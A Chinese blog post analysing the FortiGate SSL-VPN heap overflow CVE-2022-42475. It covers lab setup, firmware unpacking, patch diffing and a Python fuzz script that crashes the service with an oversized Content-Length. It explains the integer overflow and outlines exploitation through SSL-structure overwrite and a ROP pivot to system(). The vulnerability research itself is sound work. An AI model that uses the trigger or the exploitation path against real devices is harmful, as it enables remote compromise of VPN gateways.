CVE-2022-42475

Catalpa 网络安全爱好者

2022 年 12 月 12 日,Fortinet 官方发布了影响 FortiGate SSLVPN 的 RCE 漏洞 CVE-2022-42475 相关信息。官方公告显示该漏洞已经被发现在野利用,建议所有用户尽快升级。本文对此漏洞的成因进行分析。

环境准备

Fortinet 官方对 Fortigate 等设备的虚拟机版本开放下载,下载链接:https://support.fortinet.com/Download/VMImages.aspx

下载到虚拟机镜像后导入 vmware 安装,第一次启动先配置网络

1
2
3
4
5
6
7
使用默认用户 admin:空密码 登录到 CLI

config system interface
edit port1
set mode static
set ip 192.168.x.x/255.255.255.0
end

配置好网络后通过浏览器访问到设备 web 界面,首次登录系统会要求导入 license。这里有两种选择,一是完整 license,二是试用版。我们选择试用版 license,先去官方网站注册一个 FortiCloud 账号,然后在系统上登录,等待重启即可。(也可以参考文章尝试破解 License 授权)

注意!如果选择使用评估版本 License,设备会进入 LENC 模式,在该模式下不能使用高级加密算法,相应的,只能使用 SSLv3 或 TLSv1.0 等过时的加密链接。此时可能会遇到 SSL_VERSION_OR_CIPHER_MISMATCH 等错误。

漏洞位于设备的 SSLVPN 功能中,分析前需要配置 VPN 功能。配置过程可参考官方文档,简单来说,首先在 User & Authentication -> User Definition 功能中创建一些 VPN 账户,添加到同一个 group 中。然后在 VPN -> SSL-VPN Settings 中填写监听网卡和端口等信息。最后按照提示创建一条防火墙规则允许外部请求进入。

这样访问对应接口即可看到 SSLVPN 界面。

代码和权限获取

我们采用挂载磁盘的方法,关闭虚拟机,将较小的磁盘卸载并挂载到另一台 Linux 系统上,开机之后看到系统识别到一些硬盘分区:

在 FORTIOS 分区中的 rootfs.gz 是主要文件系统,将其解压得到一些系统文件,但 bin 等目录下没有任何内容。我们参考网络上的文章发现关键文件在 bin.tar.xz、migadmin.tar.xz 等压缩包内,这些压缩档案使用 Fortinet 自己修改过的工具打包。具体解包方法,在解压目录下执行命令

1
2
3
4
sudo chroot . /sbin/xz --check=sha256 -d /bin.tar.xz
sudo chroot . /sbin/ftar -xf /bin.tar
sudo chroot . /sbin/xz --check=sha256 -d /migadmin.tar.xz
sudo chroot . /sbin/ftar -xf /migadmin.tar

解包之后找到 /bin/init,系统中的大部分业务程序都软链接到该二进制文件,是我们主要的分析目标。

按照相同的方法提取出 7.2.2 和 7.2.3 中的 init 文件,准备进行补丁分析。

权限获取可参考网络文章。

漏洞分析

首先进行补丁对比,将不同版本的 init 程序导入 IDA 分析,保存 idb 之后用 bindiff 比较,需要注意一点,直接使用 bindiff GUI 可能会卡在解包 idb 阶段,建议使用 IDA 中的 bindiff 插件比对,程序较大需要分析较长时间。

比较完成后按照相似度和置信度逐个分析代码差异,新版本对 wad 部分进行了很多修改,除此之外比较明显的修改位于内存分配函数中。

举例来说,7.2.2 版本中某内存分配函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
__int64 __fastcall sub_1776C70(__int64 a1, __int64 a2, unsigned int a3)
{
__int64 v4; // rax
__int64 v5; // r12

v4 = je_malloc();
v5 = v4;
if ( !v4 )
{
sub_16CFB00(0, 8, "malloc(%ld) calling from %s:%d failed.\n", a1, a2, a3);
return v5;
}
++qword_A8AC610;
if ( !byte_A8AC620 )
return v5;
sub_1777590(v4, a1, a2, a3);
return v5;
}

在 7.2.3 中对应函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
__int64 __fastcall sub_1776E60(unsigned __int64 a1, __int64 a2, unsigned int a3)
{
__int64 v3; // r12
__int64 v5; // rax

v3 = 0LL;
if ( a1 > 0x40000000 )
return v3;
v5 = je_malloc();
v3 = v5;
if ( !v5 )
{
sub_16CFB30(0, 8, "malloc(%ld) calling from %s:%d failed.\n", a1, a2, a3);
return v3;
}
++qword_A8AD770;
if ( !byte_A8AD780 )
return v3;
sub_17777D0(v5, a1, a2, a3);
return v3;
}

我们发现新版本的内存分配相关函数中都添加了对 size 的判断,要求其不能大于 0x40000000

考虑到该漏洞是一个堆内存溢出,根据修复方式推测漏洞的根本原因可能是某处发生整数溢出,导致内存分配函数返回了一块较小的内存,而后续拷贝数据时又使用了较大的 size。

而在 HTTP 请求中可能有两种情况会导致以上结果,一是某些功能 handler 函数中对用户提交的参数验证不严格,或者代码在解析请求时对 Content-Length 的解析出现异常。

sslvpn 中在未授权情况下能够访问的功能点不多,漏洞出现在请求解析阶段可能性比较大。sslvpnd 是基于 Apache httpd 修改而来,开发者在其中添加了很多自定义代码,导致复杂度较高,而且程序不包含符号信息,分析起来会消耗很多时间。

我们可以采取更简单的方法,基于补丁分析和推测,漏洞可能发生在解析请求,特别是处理 Content-Length 阶段。那么只需要按照 fuzz HTTP 协议的思路,构造一些带有畸形 Content-Length 的请求,例如 CL 过大、或者等于负数的情况,将这些请求发送到能够未授权访问的接口中,同时检测 web 服务状态,发生崩溃或无法收到响应时记录下对应的请求报文。

编写出测试脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import socket
import ssl

path = "/remote/login".encode()
content_length = ["0", "-1", "2147483647", "2147483648", "-0", "4294967295", "4294967296", "1111111111111", "22222222222"]

for CL in content_length:
try:
data = b"POST " + path + b" HTTP/1.1\r\nHost: 192.168.232.129\r\nContent-Length: " + CL.encode() + b"\r\nUser-Agent: Mozilla/5.0\r\nContent-Type: text/plain;charset=UTF-8\r\nAccept: */*\r\n\r\na=1"
_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
_socket.connect(("192.168.232.129", 4443))
_default_context = ssl._create_unverified_context()
_socket = _default_context.wrap_socket(_socket)
_socket.sendall(data)
res = _socket.recv(1024)
if b"HTTP/1.1" not in res:
print("Error detected")
print(CL)
break
except Exception as e:
print(e)
print("Error detected")
print(CL)
break

运行后当发送 CL 等于 2147483647 时服务器没有响应,手动测试结果也一致。

挂载调试器尝试捕获异常信息

发包之后产生段错误,访问 rdi 时遇到非法地址。通过栈回溯分析其调用信息,最终找到了关键函数 read_post_data

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
__int64 __fastcall read_post_data(__int64 a1)
{
__int64 *v1; // r12
__int64 v2; // rax
__int64 v3; // rbx
int v4; // eax
int v5; // er12
__int64 v6; // rdi
__int64 content_length; // rdx
int v8; // er12
__int64 v10; // rdx
int v11; // er12

v1 = *(a1 + 736);
v2 = get_req(*(a1 + 664));
v3 = v2;
if ( !*(v2 + 8) )
*(v2 + 8) = pool_alloc(*v1, *(v2 + 24) + 1); // Content-Length
v4 = unknow_0(v1, v3 + 32, 8190LL);
v5 = v4;
if ( v4 )
{
if ( v4 < 0 )
{
if ( unknow_1(*(a1 + 616)) - 1 <= 4 )
return 0LL;
}
else
{
v6 = *(v3 + 16);
content_length = *(v3 + 24);
if ( v6 + v4 > content_length )
v5 = *(v3 + 24) - v6;
if ( content_length > v6 )
{
memcpy((*(v3 + 8) + v6), (v3 + 32), v5);
v10 = *(v3 + 24);
v11 = *(v3 + 16) + v5;
*(v3 + 16) = v11;
if ( v11 < v10 )
return 0LL;
}
else
{
v8 = *(v3 + 16) + v5;
*(v3 + 16) = v8;
if ( v8 < content_length )
return 0LL;
}
}
}
return 2LL;
}

这个函数负责从 POST 请求体中读取输入,其基本逻辑:首先获取到用户提交的 Content-Length 值,传入 pool_alloc 函数中分配内存空间,之后使用 memcpy 将用户数据拷贝到刚刚分配的内存中。

问题就出在 pool_alloc 参数上面,查看汇编指令

1
2
3
4
5
mov     eax, [rax+18h]
mov rdi, [r12]
lea esi, [rax+1]
movsxd rsi, esi
call pool_alloc

rax 为用户请求结构体指针,偏移位置 0x18 存放了 CL 值。先将 CL 放在 eax 寄存器中,使用 lea 指令将其加一后放在 esi 寄存器,再用 movsxd 扩展为 64 bit 值。结合调试信息就可以看到程序为何崩溃。

在 fuzz 脚本中传入 CL = 2147483647,换成 hex 为 0x7fffffff,经过上面的运算当传入 pool_alloc 时寄存器情况:

pool_alloc 函数的伪代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
void *__fastcall sub_164E590(__int64 a1, size_t a2)
{
_QWORD *v2; // rax
char *v3; // r8
unsigned __int64 v4; // rbx
unsigned __int64 v7; // rdi
__int64 v8; // rax

v2 = *(a1 + 8);
v3 = v2[2];
if ( a2 )
{
v4 = 8LL * (((a2 - 1) >> 3) + 1);
if ( &v3[v4] > *v2 )
{
v7 = dword_A8AC5A4 - 25;
if ( v7 < v4 )
v7 = 8LL * (((a2 - 1) >> 3) + 1);
v8 = malloc_block(v7);
*(*(a1 + 8) + 8LL) = v8;
*(a1 + 8) = v8;
v3 = *(v8 + 16);
*(v8 + 16) = &v3[v4];
}
else
{
v2[2] = &v3[v4];
}
}
else
{
v3 = 0LL;
}
return memset(v3, 0, a2);
}

传入数据参与补齐运算,然后判断在 v3 数组中对应位置是否存在内容,不存在则直接调用 memset 返回,而当调用 memset 时参数情况:

length 部分变成一个非常大的数值,这样会导致 memset 访问到非法内存使程序崩溃。

考察漏洞根本原因,在调用 pool_alloc 函数时使用 32 位数值 + 1 拓展成 64 位的方法,这里存在整数溢出。那么我们可以构造特殊的 CL 值,比如 0x1b00000000,经过运算拓展之后会变成 0x1,在 pool_alloc 内部调用 memset 时情况:

缓冲区是位于 heap 的一块较小内存,而 size 已经变成 0x1。

这样 pool_alloc 返回了一块较小的堆内存,假设此时我们在 POST 请求体中构造了超长的数据,那么在后续的 memcpy 阶段就会导致堆内存溢出。

某些情况下能够得到如下 crash

利用分析

对于 FortiGate 堆溢出的利用,DEVCORE 曾介绍过思路:https://devco.re/blog/2019/08/09/attacking-ssl-vpn-part-2-breaking-the-Fortigate-ssl-vpn/

传统堆溢出利用需要结合堆相关的管理逻辑,通过精心控制堆块排布来控制程序执行流。但正如 DEVCORE 文章和我们 fuzz 结果显示,在 FortiGate 上堆溢出会覆盖堆中某些关键结构体中的数据,具体来说是 HTTP 请求的 SSL 结构体指针。在触发漏洞之前先发送很多正常的 HTTP 请求,这样在堆中就会留下很多 SSL 结构,再触发堆溢出去覆盖这些结构体,当程序调用被覆盖的结构体中 handshake_func 指针时,我们就能直接劫持程序控制流。

观察崩溃现场,rdx 寄存器指向可控内存,我们可以在程序中找到 push rdx ; pop rsp 的 gadget,将 stack 迁移到可控内存中,将堆溢出转换成 ROP,直接执行 system(‘cmd’) 即可。

补丁

新版的 read_post_data 调用 pool_alloc 时代码

1
2
3
4
mov     rax, [rax+18h]
mov rdi, [r12]
lea rsi, [rax+1]
call pool_alloc

不再使用 32 位寄存器拓展,并且分配内存时会检查 size 大小。

参考文章/拓展阅读

FortiOS 5.4 后门植入

DEVCORE 关于 FortiGate 堆溢出漏洞利用的文章

2023 年 1 月 11 日,Fortinet 官方发布了关于积极利用该漏洞的组织,以及他们所使用工具的分析文章

2023 年 5 月 17 日,BishopFox 发布了一种更完整的利用此漏洞的文章

  • Title: CVE-2022-42475
  • Author: Catalpa
  • Created at : 2022-12-15 00:00:00
  • Updated at : 2024-10-17 08:46:49
  • Link: https://wzt.ac.cn/2022/12/15/CVE-2022-42475/
  • License: This work is licensed under CC BY-NC-SA 4.0.